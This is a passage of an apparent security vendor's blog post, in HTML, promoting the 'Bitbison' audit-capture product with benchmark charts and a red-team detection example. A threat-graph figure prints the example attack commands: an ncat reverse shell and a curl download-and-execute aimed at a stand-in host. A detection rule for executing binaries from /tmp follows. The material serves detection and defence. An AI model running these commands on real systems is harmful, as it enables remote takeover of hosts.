&lt;p&gt;&lt;em&gt;Figure 2 from &lt;a href=&quot;https://www.seclab.cs.sunysb.edu/seclab/pubs/eaudit.pdf&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;eAudit: A Fast, Scalable and Deployable Audit Data Collection System&lt;/a&gt; by R. Sekar, Hanke Kimm and Rohit Aich (IEEE Symposium on Security and Privacy, 2024). The fraction of events dropped by each system, plotted against how much the benchmark had to be slowed down before capture became complete.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;We built Bitbison to remove this trade-off. Below is a full-fidelity capture of a 16-core parallel
compilation of the Ubuntu Linux kernel. The industry standard solution loses 50% of events at 100% CPU cost
and 9.2 GB of storage. Bitbison loses 0% of events at 6% CPU and 80 MB.&lt;/p&gt;
&lt;figure style=&quot;margin: 2rem 0 0&quot;&gt;
  &lt;div class=&quot;pair-card pair-card--wall&quot;&gt;
    &lt;div class=&quot;pair-work&quot;&gt;Attempted full capture&lt;/div&gt;
    &lt;div class=&quot;chart-bars&quot;&gt;
      &lt;svg viewBox=&quot;0 0 520 286&quot; role=&quot;img&quot; aria-label=&quot;Full-fidelity capture of a 16-core parallel Linux kernel compilation: Bitbison loses 0% of events at 6% CPU and 80 MB of disk; an industry-standard solution loses 50% at 100% CPU and 9.2 GB&quot;&gt;
      &lt;circle class=&quot;cbar-a&quot; cx=&quot;8&quot; cy=&quot;14&quot; r=&quot;5&quot;/&gt;&lt;text class=&quot;cl&quot; x=&quot;20&quot; y=&quot;18&quot;&gt;Industry standard&lt;/text&gt;
      &lt;circle class=&quot;cbar-b&quot; cx=&quot;238&quot; cy=&quot;14&quot; r=&quot;5&quot;/&gt;&lt;text class=&quot;cl&quot; x=&quot;250&quot; y=&quot;18&quot;&gt;Bitbison&lt;/text&gt;
      &lt;text class=&quot;cg&quot; x=&quot;0&quot; y=&quot;52&quot;&gt;EVENTS LOST&lt;/text&gt;
      &lt;circle class=&quot;cbar-a&quot; cx=&quot;6&quot; cy=&quot;68&quot; r=&quot;4.5&quot;/&gt;
      &lt;circle class=&quot;cbar-b&quot; cx=&quot;6&quot; cy=&quot;86&quot; r=&quot;4.5&quot;/&gt;
      &lt;rect class=&quot;cbar-a&quot; x=&quot;18&quot; y=&quot;60&quot; width=&quot;200&quot; height=&quot;16&quot;/&gt;
      &lt;rect class=&quot;cbar-b&quot; x=&quot;18&quot; y=&quot;78&quot; width=&quot;2&quot; height=&quot;16&quot;/&gt;
      &lt;text class=&quot;cv&quot; x=&quot;512&quot; y=&quot;73&quot; text-anchor=&quot;end&quot;&gt;50%&lt;/text&gt;
      &lt;text class=&quot;cv&quot; x=&quot;512&quot; y=&quot;91&quot; text-anchor=&quot;end&quot;&gt;0%&lt;/text&gt;
      &lt;text class=&quot;cg&quot; x=&quot;0&quot; y=&quot;134&quot;&gt;CPU COST&lt;/text&gt;
      &lt;circle class=&quot;cbar-a&quot; cx=&quot;6&quot; cy=&quot;150&quot; r=&quot;4.5&quot;/&gt;
      &lt;circle class=&quot;cbar-b&quot; cx=&quot;6&quot; cy=&quot;168&quot; r=&quot;4.5&quot;/&gt;
      &lt;rect class=&quot;cbar-a&quot; x=&quot;18&quot; y=&quot;142&quot; width=&quot;400&quot; height=&quot;16&quot;/&gt;
      &lt;rect class=&quot;cbar-b&quot; x=&quot;18&quot; y=&quot;160&quot; width=&quot;24&quot; height=&quot;16&quot;/&gt;
      &lt;text class=&quot;cv&quot; x=&quot;512&quot; y=&quot;155&quot; text-anchor=&quot;end&quot;&gt;100%&lt;/text&gt;
      &lt;text class=&quot;cv&quot; x=&quot;512&quot; y=&quot;173&quot; text-anchor=&quot;end&quot;&gt;6%&lt;/text&gt;
      &lt;text class=&quot;cg&quot; x=&quot;0&quot; y=&quot;216&quot;&gt;DISK WRITTEN&lt;/text&gt;
      &lt;circle class=&quot;cbar-a&quot; cx=&quot;6&quot; cy=&quot;232&quot; r=&quot;4.5&quot;/&gt;
      &lt;circle class=&quot;cbar-b&quot; cx=&quot;6&quot; cy=&quot;250&quot; r=&quot;4.5&quot;/&gt;
      &lt;rect class=&quot;cbar-a&quot; x=&quot;18&quot; y=&quot;224&quot; width=&quot;400&quot; height=&quot;16&quot;/&gt;
      &lt;rect class=&quot;cbar-b&quot; x=&quot;18&quot; y=&quot;242&quot; width=&quot;3.5&quot; height=&quot;16&quot;/&gt;
      &lt;text class=&quot;cv&quot; x=&quot;512&quot; y=&quot;237&quot; text-anchor=&quot;end&quot;&gt;9.2 GB&lt;/text&gt;
      &lt;text class=&quot;cv&quot; x=&quot;512&quot; y=&quot;255&quot; text-anchor=&quot;end&quot;&gt;80 MB&lt;/text&gt;
      &lt;/svg&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/figure&gt;
&lt;br&gt;
&lt;p&gt;The same holds on servers. Below is a production workloads with the default
coverage of a leading runtime monitoring solution over a four hour period.
The most data-rich agent on the market spikes to 129% of a
core and records 56,587 events, 7.8% of what happened. Bitbison stays under 8%
of a single core and records all 722,683 events.&lt;/p&gt;
&lt;figure style=&quot;margin: 2rem 0 0&quot;&gt;
  &lt;div class=&quot;pair-card pair-card--wall&quot;&gt;
    &lt;div class=&quot;pair-work&quot;&gt;CPU utilization on production host&lt;/div&gt;
    &lt;div class=&quot;chart-bars&quot;&gt;
      &lt;svg viewBox=&quot;0 0 520 400&quot; role=&quot;img&quot; aria-label=&quot;Agent CPU during the same production workload on the same host: the industry-best agent spikes to 129% of a core while Bitbison stays under 8%. Below, the same agents&#39; capture: 56,587 events logged and 7.8% completeness against Bitbison&#39;s 722,683 and 100%&quot;&gt;
      &lt;circle class=&quot;cbar-a&quot; cx=&quot;8&quot; cy=&quot;14&quot; r=&quot;5&quot;/&gt;&lt;text class=&quot;cl&quot; x=&quot;20&quot; y=&quot;18&quot;&gt;Industry Standard&lt;/text&gt;
      &lt;circle class=&quot;cbar-b&quot; cx=&quot;168&quot; cy=&quot;14&quot; r=&quot;5&quot;/&gt;&lt;text class=&quot;cl&quot; x=&quot;180&quot; y=&quot;18&quot;&gt;Bitbison&lt;/text&gt;
      &lt;text class=&quot;cg&quot; x=&quot;0&quot; y=&quot;76&quot;&gt;100% CPU&lt;/text&gt;
      &lt;line class=&quot;cgrid&quot; x1=&quot;0&quot; y1=&quot;81.5&quot; x2=&quot;520&quot; y2=&quot;81.5&quot;/&gt;
      &lt;text class=&quot;cg&quot; x=&quot;0&quot; y=&quot;135&quot;&gt;50%&lt;/text&gt;
      &lt;line class=&quot;cgrid&quot; x1=&quot;0&quot; y1=&quot;140.7&quot; x2=&quot;520&quot; y2=&quot;140.7&quot;/&gt;
      &lt;line class=&quot;cgrid cgrid--base&quot; x1=&quot;0&quot; y1=&quot;200&quot; x2=&quot;520&quot; y2=&quot;200&quot;/&gt;
      &lt;path class=&quot;cline-a&quot; d=&quot;M0.0 198.8 L8.8 198.7 L17.6 196.7 L26.4 198.8 L35.3 198.6 L44.1 199.5 L52.9 184.5 L61.7 154.1 L70.5 58.4 L79.3 158.8 L88.1 94.6 L96.9 188.7 L105.8 188.9 L114.6 145.9 L123.4 135.3 L132.2 59.6 L141.0 152.3 L149.8 116.1 L158.6 169.4 L167.5 69.3 L176.3 162.3 L185.1 71.6 L193.9 184.4 L202.7 85.2 L211.5 152.7 L220.3 95.6 L229.2 160.7 L238.0 181.5 L246.8 197.0 L255.6 199.1 L264.4 196.7 L273.2 197.3 L282.0 196.2 L290.8 197.7 L299.7 198.1 L308.5 198.9 L317.3 197.0 L326.1 197.5 L334.9 197.0 L343.7 193.2 L352.5 195.1 L361.4 198.7 L370.2 197.7 L379.0 191.0 L387.8 193.3 L396.6 142.5 L405.4 47.4 L414.2 183.1 L423.1 182.3 L431.9 185.2 L440.7 163.8 L449.5 182.8 L458.3 194.7 L467.1 198.9 L475.9 199.2 L484.7 197.9 L493.6 198.1 L502.4 198.0 L511.2 198.3 L520.0 199.5&quot;/&gt;
      &lt;path class=&quot;cline-b&quot; d=&quot;M0.0 199.4 L8.8 199.3 L17.6 199.2 L26.4 199.4 L35.3 199.3 L44.1 199.4 L52.9 198.3 L61.7 196.5 L70.5 192.7 L79.3 196.4 L88.1 192.4 L96.9 198.8 L105.8 198.3 L114.6 196.0 L123.4 196.5 L132.2 193.7 L141.0 195.6 L149.8 193.1 L158.6 196.9 L167.5 192.4 L176.3 197.9 L185.1 190.7 L193.9 198.0 L202.7 194.5 L211.5 197.4 L220.3 191.8 L229.2 196.2 L238.0 198.3 L246.8 198.9 L255.6 199.3 L264.4 199.1 L273.2 199.3 L282.0 198.5 L290.8 199.3 L299.7 198.9 L308.5 199.3 L317.3 198.6 L326.1 199.1 L334.9 199.4 L343.7 198.9 L352.5 199.2 L361.4 199.0 L370.2 199.3 L379.0 198.1 L387.8 198.5 L396.6 195.8 L405.4 194.7 L414.2 197.5 L423.1 198.2 L431.9 198.4 L440.7 195.3 L449.5 198.6 L458.3 199.2 L467.1 199.4 L475.9 199.3 L484.7 199.4 L493.6 199.3 L502.4 199.3 L511.2 199.3 L520.0 199.3&quot;/&gt;
      &lt;text class=&quot;cg&quot; x=&quot;520&quot; y=&quot;220&quot; text-anchor=&quot;end&quot;&gt;Production CI/CD workload&lt;/text&gt;
      &lt;text class=&quot;cg&quot; x=&quot;0&quot; y=&quot;262&quot;&gt;EVENTS LOGGED&lt;/text&gt;
      &lt;circle class=&quot;cbar-a&quot; cx=&quot;6&quot; cy=&quot;278&quot; r=&quot;4.5&quot;/&gt;
      &lt;text class=&quot;cl&quot; x=&quot;18&quot; y=&quot;283&quot;&gt;Alternative&lt;/text&gt;
      &lt;circle class=&quot;cbar-b&quot; cx=&quot;6&quot; cy=&quot;296&quot; r=&quot;4.5&quot;/&gt;
      &lt;text class=&quot;cl&quot; x=&quot;18&quot; y=&quot;301&quot;&gt;Bitbison&lt;/text&gt;
      &lt;rect class=&quot;cbar-a&quot; x=&quot;128&quot; y=&quot;270&quot; width=&quot;25&quot; height=&quot;16&quot;/&gt;
      &lt;rect class=&quot;cbar-b&quot; x=&quot;128&quot; y=&quot;288&quot; width=&quot;320&quot; height=&quot;16&quot;/&gt;
      &lt;text class=&quot;cv&quot; x=&quot;512&quot; y=&quot;283&quot; text-anchor=&quot;end&quot;&gt;56,587&lt;/text&gt;
      &lt;text class=&quot;cv&quot; x=&quot;512&quot; y=&quot;301&quot; text-anchor=&quot;end&quot;&gt;722,683&lt;/text&gt;
      &lt;text class=&quot;cg&quot; x=&quot;0&quot; y=&quot;344&quot;&gt;COMPLETENESS&lt;/text&gt;
      &lt;circle class=&quot;cbar-a&quot; cx=&quot;6&quot; cy=&quot;360&quot; r=&quot;4.5&quot;/&gt;
      &lt;text class=&quot;cl&quot; x=&quot;18&quot; y=&quot;365&quot;&gt;Alternative&lt;/text&gt;
      &lt;circle class=&quot;cbar-b&quot; cx=&quot;6&quot; cy=&quot;378&quot; r=&quot;4.5&quot;/&gt;
      &lt;text class=&quot;cl&quot; x=&quot;18&quot; y=&quot;383&quot;&gt;Bitbison&lt;/text&gt;
      &lt;rect class=&quot;cbar-a&quot; x=&quot;128&quot; y=&quot;352&quot; width=&quot;25&quot; height=&quot;16&quot;/&gt;
      &lt;rect class=&quot;cbar-b&quot; x=&quot;128&quot; y=&quot;370&quot; width=&quot;320&quot; height=&quot;16&quot;/&gt;
      &lt;text class=&quot;cv&quot; x=&quot;512&quot; y=&quot;365&quot; text-anchor=&quot;end&quot;&gt;7.8%&lt;/text&gt;
      &lt;text class=&quot;cv&quot; x=&quot;512&quot; y=&quot;383&quot; text-anchor=&quot;end&quot;&gt;100%&lt;/text&gt;
      &lt;/svg&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/figure&gt;
&lt;br&gt;
&lt;p&gt;Even without attempting audit-grade capture, existing systems carry
workload-impacting CPU and memory costs while providing near 0%
runtime observability.&lt;/p&gt;
&lt;h3 id=&quot;detection-built-on-deep-observability&quot;&gt;Detection built on deep observability&lt;/h3&gt;
&lt;p&gt;Bitbison now runs on dozens of production systems and developer laptops and is actively processing billions
of events. It is already deployed in production at a leading semiconductor company. It provides complete causal
coverage of all activity on the systems it runs on, at a fraction of the CPU and memory of alternatives.
Going back to the origin story, this solves the first major pain point. We are no longer blind. Had Bitbison
existed then, one query would have told us exactly what happened during the Log4Shell breach. The insider
exfiltration would have been scoped the same way.&lt;/p&gt;
&lt;h4&gt;What a detection looked like before Bitbison&lt;/h4&gt;
&lt;p&gt;In one of our red team scenarios an account was compromised. The attacker
logged into the system, established a reverse shell with &lt;code&gt;netcat&lt;/code&gt;, then
downloaded and executed malware. We purposefully chose a sequence we knew
would be detectable, to measure the visibility we would be given.&lt;/p&gt;
&lt;p&gt;Below is what the existing EDR (endpoint detection and response) solution
surfaced to us.&lt;/p&gt;
&lt;figure style=&quot;margin: 2rem 0 0&quot;&gt;
  &lt;div class=&quot;pair-card&quot; data-panzoom&gt;
    &lt;div class=&quot;pair-work&quot;&gt;A threat graph&lt;/div&gt;
    &lt;div class=&quot;chart-bars&quot;&gt;
      &lt;svg viewBox=&quot;0 130 2270 440&quot; role=&quot;img&quot; aria-label=&quot;an AWS Systems Manager session becomes a root shell through sudo su, netcat attaches /bin/bash to a remote endpoint on port 80, and the resulting shell downloads backup.py and runs it under Python 3.12, which reads through the dpkg package database&quot;&gt;
      &lt;defs&gt;
        &lt;radialGradient id=&quot;tg-node&quot; cx=&quot;0.35&quot; cy=&quot;0.3&quot; r=&quot;0.85&quot;&gt;
          &lt;stop offset=&quot;0&quot; stop-color=&quot;#8ee9f2&quot;/&gt;
          &lt;stop offset=&quot;0.55&quot; stop-color=&quot;#4ec9d6&quot;/&gt;
          &lt;stop offset=&quot;1&quot; stop-color=&quot;#2b98a6&quot;/&gt;
        &lt;/radialGradient&gt;
        &lt;radialGradient id=&quot;tg-alert&quot; cx=&quot;0.4&quot; cy=&quot;0.35&quot; r=&quot;0.9&quot;&gt;
          &lt;stop offset=&quot;0&quot; stop-color=&quot;#f2707a&quot;/&gt;
          &lt;stop offset=&quot;0.55&quot; stop-color=&quot;#e94e42&quot;/&gt;
          &lt;stop offset=&quot;1&quot; stop-color=&quot;#c1222b&quot;/&gt;
        &lt;/radialGradient&gt;
        &lt;linearGradient id=&quot;tg-edge&quot; gradientUnits=&quot;userSpaceOnUse&quot; x1=&quot;60&quot; y1=&quot;0&quot; x2=&quot;2070&quot; y2=&quot;0&quot;&gt;
          &lt;stop offset=&quot;0&quot; stop-color=&quot;rgba(78,201,214,0.26)&quot;/&gt;
          &lt;stop offset=&quot;1&quot; stop-color=&quot;rgba(78,201,214,0.48)&quot;/&gt;
        &lt;/linearGradient&gt;
      &lt;/defs&gt;
      &lt;g stroke=&quot;url(#tg-edge)&quot; stroke-width=&quot;2&quot; stroke-linecap=&quot;round&quot; fill=&quot;none&quot;&gt;&lt;line x1=&quot;81.5&quot; y1=&quot;300&quot; x2=&quot;208.5&quot; y2=&quot;300&quot;/&gt;
      &lt;line x1=&quot;231.5&quot; y1=&quot;300&quot; x2=&quot;368.5&quot; y2=&quot;300&quot;/&gt;
      &lt;line x1=&quot;391.5&quot; y1=&quot;300&quot; x2=&quot;648.5&quot; y2=&quot;300&quot;/&gt;
      &lt;line x1=&quot;541.5&quot; y1=&quot;300&quot; x2=&quot;658.5&quot; y2=&quot;300&quot;/&gt;
      &lt;line x1=&quot;681.5&quot; y1=&quot;300&quot; x2=&quot;798.5&quot; y2=&quot;300&quot;/&gt;
      &lt;line x1=&quot;821.5&quot; y1=&quot;300&quot; x2=&quot;928.5&quot; y2=&quot;300&quot;/&gt;
      &lt;line x1=&quot;951.5&quot; y1=&quot;300&quot; x2=&quot;1068.5&quot; y2=&quot;300&quot;/&gt;
      &lt;line x1=&quot;1091.5&quot; y1=&quot;300&quot; x2=&quot;1318.5&quot; y2=&quot;300&quot;/&gt;
      &lt;path d=&quot;M 1341.5 300 C 1430 300 1415 180 1468.5 180&quot;/&gt;
      &lt;line x1=&quot;1341.5&quot; y1=&quot;300&quot; x2=&quot;1468.5&quot; y2=&quot;300&quot;/&gt;
      &lt;path d=&quot;M 1341.5 300 C 1430 300 1415 420 1468.5 420&quot;/&gt;
      &lt;line x1=&quot;1491.5&quot; y1=&quot;420&quot; x2=&quot;1738.5&quot; y2=&quot;420&quot;/&gt;
      &lt;path d=&quot;M 1761.5 420 C 1870 420 1855 300 1918.5 300&quot;/&gt;
      &lt;line x1=&quot;1761.5&quot; y1=&quot;420&quot; x2=&quot;1918.5&quot; y2=&quot;420&quot;/&gt;
      &lt;path d=&quot;M 1761.5 420 C 1870 420 1855 540 1918.5 540&quot;/&gt;&lt;/g&gt;
      &lt;circle cx=&quot;70&quot; cy=&quot;300&quot; r=&quot;10.5&quot; fill=&quot;url(#tg-node)&quot;/&gt;
      &lt;text x=&quot;90&quot; y=&quot;275&quot; font-size=&quot;14&quot; font-weight=&quot;600&quot; fill=&quot;#e8ebf2&quot;&gt;ssm-agent&lt;/text&gt;
      &lt;text x=&quot;90&quot; y=&quot;289&quot; font-size=&quot;12.5&quot; fill=&quot;#a0a6b4&quot;&gt;amazon-ssm-agent&lt;/text&gt;
      &lt;circle cx=&quot;220&quot; cy=&quot;300&quot; r=&quot;10.5&quot; fill=&quot;url(#tg-node)&quot;/&gt;
      &lt;text x=&quot;240&quot; y=&quot;275&quot; font-size=&quot;14&quot; font-weight=&quot;600&quot; fill=&quot;#e8ebf2&quot;&gt;ssm-agent-worker&lt;/text&gt;
      &lt;text x=&quot;240&quot; y=&quot;289&quot; font-size=&quot;12.5&quot; fill=&quot;#a0a6b4&quot;&gt;ssm-agent-worker&lt;/text&gt;
      &lt;circle cx=&quot;380&quot; cy=&quot;300&quot; r=&quot;10.5&quot; fill=&quot;url(#tg-node)&quot;/&gt;
      &lt;text x=&quot;400&quot; y=&quot;275&quot; font-size=&quot;14&quot; font-weight=&quot;600&quot; fill=&quot;#e8ebf2&quot;&gt;ssm-session-worker&lt;/text&gt;
      &lt;text x=&quot;400&quot; y=&quot;289&quot; font-size=&quot;12.5&quot; fill=&quot;#a0a6b4&quot;&gt;ssm-session-worker&lt;/text&gt;
      &lt;circle cx=&quot;530&quot; cy=&quot;300&quot; r=&quot;10.5&quot; fill=&quot;url(#tg-node)&quot;/&gt;
      &lt;text x=&quot;550&quot; y=&quot;275&quot; font-size=&quot;14&quot; font-weight=&quot;600&quot; fill=&quot;#e8ebf2&quot;&gt;dash&lt;/text&gt;
      &lt;text x=&quot;550&quot; y=&quot;289&quot; font-size=&quot;12.5&quot; fill=&quot;#a0a6b4&quot;&gt;sh&lt;/text&gt;
      &lt;circle cx=&quot;670&quot; cy=&quot;300&quot; r=&quot;10.5&quot; fill=&quot;url(#tg-node)&quot;/&gt;
      &lt;text x=&quot;690&quot; y=&quot;275&quot; font-size=&quot;14&quot; font-weight=&quot;600&quot; fill=&quot;#e8ebf2&quot;&gt;sudo&lt;/text&gt;
      &lt;text x=&quot;690&quot; y=&quot;289&quot; font-size=&quot;12.5&quot; fill=&quot;#a0a6b4&quot;&gt;sudo su&lt;/text&gt;
      &lt;circle cx=&quot;810&quot; cy=&quot;300&quot; r=&quot;10.5&quot; fill=&quot;url(#tg-node)&quot;/&gt;
      &lt;text x=&quot;830&quot; y=&quot;275&quot; font-size=&quot;14&quot; font-weight=&quot;600&quot; fill=&quot;#e8ebf2&quot;&gt;su&lt;/text&gt;
      &lt;text x=&quot;830&quot; y=&quot;289&quot; font-size=&quot;12.5&quot; fill=&quot;#a0a6b4&quot;&gt;su&lt;/text&gt;
      &lt;circle cx=&quot;940&quot; cy=&quot;300&quot; r=&quot;10.5&quot; fill=&quot;url(#tg-node)&quot;/&gt;
      &lt;text x=&quot;960&quot; y=&quot;275&quot; font-size=&quot;14&quot; font-weight=&quot;600&quot; fill=&quot;#e8ebf2&quot;&gt;bash&lt;/text&gt;
      &lt;text x=&quot;960&quot; y=&quot;289&quot; font-size=&quot;12.5&quot; fill=&quot;#a0a6b4&quot;&gt;bash&lt;/text&gt;
      &lt;polygon points=&quot;1080,286 1093.5,310 1066.5,310&quot; fill=&quot;url(#tg-alert)&quot;/&gt;
      &lt;text x=&quot;1100&quot; y=&quot;275&quot; font-size=&quot;14&quot; font-weight=&quot;600&quot; fill=&quot;#e8ebf2&quot;&gt;ncat&lt;/text&gt;
      &lt;text x=&quot;1100&quot; y=&quot;289&quot; font-size=&quot;12.5&quot; fill=&quot;#a0a6b4&quot;&gt;ncat example.invalid 80 -e /bin/bash&lt;/text&gt;
      &lt;circle cx=&quot;1330&quot; cy=&quot;300&quot; r=&quot;10.5&quot; fill=&quot;url(#tg-node)&quot;/&gt;
      &lt;text x=&quot;1350&quot; y=&quot;275&quot; font-size=&quot;14&quot; font-weight=&quot;600&quot; fill=&quot;#e8ebf2&quot;&gt;bash&lt;/text&gt;
      &lt;text x=&quot;1350&quot; y=&quot;289&quot; font-size=&quot;12.5&quot; fill=&quot;#a0a6b4&quot; paint-order=&quot;stroke&quot; stroke=&quot;rgba(10,13,20,0.9)&quot; stroke-width=&quot;3.5&quot; stroke-linejoin=&quot;round&quot;&gt;/bin/bash&lt;/text&gt;
      &lt;circle cx=&quot;1480&quot; cy=&quot;180&quot; r=&quot;10.5&quot; fill=&quot;url(#tg-node)&quot;/&gt;
      &lt;text x=&quot;1500&quot; y=&quot;155&quot; font-size=&quot;14&quot; font-weight=&quot;600&quot; fill=&quot;#e8ebf2&quot;&gt;curl&lt;/text&gt;
      &lt;text x=&quot;1500&quot; y=&quot;169&quot; font-size=&quot;12.5&quot; fill=&quot;#a0a6b4&quot;&gt;curl http://example.invalid/backup.txt -o backup.py&lt;/text&gt;
      &lt;circle cx=&quot;1480&quot; cy=&quot;300&quot; r=&quot;10.5&quot; fill=&quot;url(#tg-node)&quot;/&gt;
      &lt;text x=&quot;1500&quot; y=&quot;275&quot; font-size=&quot;14&quot; font-weight=&quot;600&quot; fill=&quot;#e8ebf2&quot;&gt;chmod&lt;/text&gt;
      &lt;text x=&quot;1500&quot; y=&quot;289&quot; font-size=&quot;12.5&quot; fill=&quot;#a0a6b4&quot;&gt;chmod +x backup.py&lt;/text&gt;
      &lt;circle cx=&quot;1480&quot; cy=&quot;420&quot; r=&quot;10.5&quot; fill=&quot;url(#tg-node)&quot;/&gt;
      &lt;text x=&quot;1500&quot; y=&quot;395&quot; font-size=&quot;14&quot; font-weight=&quot;600&quot; fill=&quot;#e8ebf2&quot;&gt;env&lt;/text&gt;
      &lt;text x=&quot;1500&quot; y=&quot;409&quot; font-size=&quot;12.5&quot; fill=&quot;#a0a6b4&quot;&gt;/usr/bin/env python3 ./backup.py&lt;/text&gt;
      &lt;circle cx=&quot;1750&quot; cy=&quot;420&quot; r=&quot;10.5&quot; fill=&quot;url(#tg-node)&quot;/&gt;
      &lt;text x=&quot;1770&quot; y=&quot;395&quot; font-size=&quot;14&quot; font-weight=&quot;600&quot; fill=&quot;#e8ebf2&quot; paint-order=&quot;stroke&quot; stroke=&quot;rgba(10,13,20,0.9)&quot; stroke-width=&quot;3.5&quot; stroke-linejoin=&quot;round&quot;&gt;python3.12&lt;/text&gt;
      &lt;text x=&quot;1770&quot; y=&quot;409&quot; font-size=&quot;12.5&quot; fill=&quot;#a0a6b4&quot; paint-order=&quot;stroke&quot; stroke=&quot;rgba(10,13,20,0.9)&quot; stroke-width=&quot;3.5&quot; stroke-linejoin=&quot;round&quot;&gt;python3 ./backup.py&lt;/text&gt;
      &lt;circle cx=&quot;1930&quot; cy=&quot;300&quot; r=&quot;10.5&quot; fill=&quot;url(#tg-node)&quot;/&gt;
      &lt;text x=&quot;1950&quot; y=&quot;275&quot; font-size=&quot;14&quot; font-weight=&quot;600&quot; fill=&quot;#e8ebf2&quot;&gt;dpkg-divert&lt;/text&gt;
      &lt;text x=&quot;1950&quot; y=&quot;289&quot; font-size=&quot;12.5&quot; fill=&quot;#a0a6b4&quot;&gt;dpkg-divert --truename /tmp/13349/backup.py&lt;/text&gt;
      &lt;circle cx=&quot;1930&quot; cy=&quot;420&quot; r=&quot;10.5&quot; fill=&quot;url(#tg-node)&quot;/&gt;
      &lt;text x=&quot;1950&quot; y=&quot;395&quot; font-size=&quot;14&quot; font-weight=&quot;600&quot; fill=&quot;#e8ebf2&quot;&gt;dash&lt;/text&gt;
      &lt;text x=&quot;1950&quot; y=&quot;409&quot; font-size=&quot;12.5&quot; fill=&quot;#a0a6b4&quot;&gt;sh -c cat /var/lib/dpkg/info/groff-base.list&lt;/text&gt;
      &lt;circle cx=&quot;1930&quot; cy=&quot;540&quot; r=&quot;10.5&quot; fill=&quot;url(#tg-node)&quot;/&gt;
      &lt;text x=&quot;1950&quot; y=&quot;515&quot; font-size=&quot;14&quot; font-weight=&quot;600&quot; fill=&quot;#e8ebf2&quot;&gt;dash&lt;/text&gt;
      &lt;text x=&quot;1950&quot; y=&quot;529&quot; font-size=&quot;12.5&quot; fill=&quot;#a0a6b4&quot;&gt;sh -c cat /var/lib/dpkg/info/e2fsprogs.list&lt;/text&gt;
      &lt;/svg&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p class=&quot;pair-note&quot;&gt;A breach scenario as surfaced by a modern EDR. Click to zoom and pan.&lt;/p&gt;
&lt;/figure&gt;
&lt;p&gt;An analyst left to investigate this detection has nothing beyond this graph to go on. Note that the attack
sequence had to be modified to be detectable in the first place. Even with a detection, all we know is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A legitimate session was started.&lt;/li&gt;
&lt;li&gt;A reverse shell was probably launched through the &lt;code&gt;ncat&lt;/code&gt; command listening on port 80.&lt;/li&gt;
&lt;li&gt;The reverse shell launched a shell.&lt;/li&gt;
&lt;li&gt;The shell then executed curl to download a Python script.&lt;/li&gt;
&lt;li&gt;That Python script was probably executed.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The story is incomplete. The graph cannot say what connected to the reverse shell, what files were touched
or whether anything left the host. In this scenario Bitbison ingests signals from third party runtime
products and augments them with its own causally complete system capture.&lt;/p&gt;
&lt;h4&gt;What a detection looks like with Bitbison&lt;/h4&gt;
&lt;p&gt;Below is the same detection in Bitbison, and it is possible to simply enrich your existing detection with
Bitbison.&lt;/p&gt;
&lt;figure style=&quot;margin: 2rem 0 0&quot;&gt;
  &lt;div class=&quot;pair-card&quot; data-panzoom&gt;
    &lt;svg viewBox=&quot;0 0 1356 1973&quot; role=&quot;img&quot; aria-label=&quot;Bitbison signal analysis report: true positive, root bind shell, exfil-tool download and C2 beacon confirmed, with summary, data exposure, entry points, artifacts, persistence and a 21-event timeline&quot; style=&quot;display: block; width: 100%; height: auto&quot;&gt;
      &lt;image href=&quot;/blog/img/signal-analysis.png&quot; width=&quot;1356&quot; height=&quot;1973&quot;/&gt;
    &lt;/svg&gt;
  &lt;/div&gt;
  &lt;p class=&quot;pair-note&quot;&gt;Bitbison&amp;rsquo;s signal analysis of the session above. Click to zoom and pan.&lt;/p&gt;
&lt;/figure&gt;
&lt;p&gt;This signal is confirmed as a true positive: a root bind shell on TCP/80 driven
by an external operator, a credential-stealing script fetched from an external
host and a beacon out over HTTPS. The report also states what did not happen;
no SSH key reads, no &lt;code&gt;/etc/shadow&lt;/code&gt; reads and no persistence survived the
session. Every conclusion links back to recorded events. The analysis is
backed by a formal verification framework built on an in-house model checker
to ensure consistent coverage of the investigation.&lt;/p&gt;
&lt;p&gt;The scope is both complete and exact.&lt;/p&gt;
&lt;h2 id=&quot;evolving-policy&quot;&gt;Evolving policy&lt;/h2&gt;
&lt;h3 id=&quot;the-past&quot;&gt;The past&lt;/h3&gt;
&lt;p&gt;The birth of the EDR and runtime security category is attributed to a shift from the signature matching of
antivirus products to what is now called &amp;quot;behavioral analysis&amp;quot;. In practice, behavioral analysis is
pattern matching on process names and system call arguments over an already incomplete stream of data;
runtime monitoring&#39;s performance bottleneck limits it to coarse-grained events. Some machine learning approaches have made it to production but they:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Are limited by the fundamental observability problem; you cannot write rules against things never observed.&lt;/li&gt;
&lt;li&gt;Are high latency and unable to detect breaches in real time.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For example, a policy today to alert on an untrusted executable may be dozens of rules that look similar to this:&lt;/p&gt;
&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;rule&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Execution from Temp Directory
  &lt;span class=&quot;token key atrule&quot;&gt;desc&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
    Detect a binary being executed from /tmp or /var/tmp,
    a common pattern for dropped payloads and post-exploitation tooling.&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;condition&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
    spawned_process
    and (proc.exepath startswith /tmp/
         or proc.exepath startswith /var/tmp/)&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
    Program executed from temp directory
    (user=%user.name command=%proc.cmdline exe=%proc.exepath
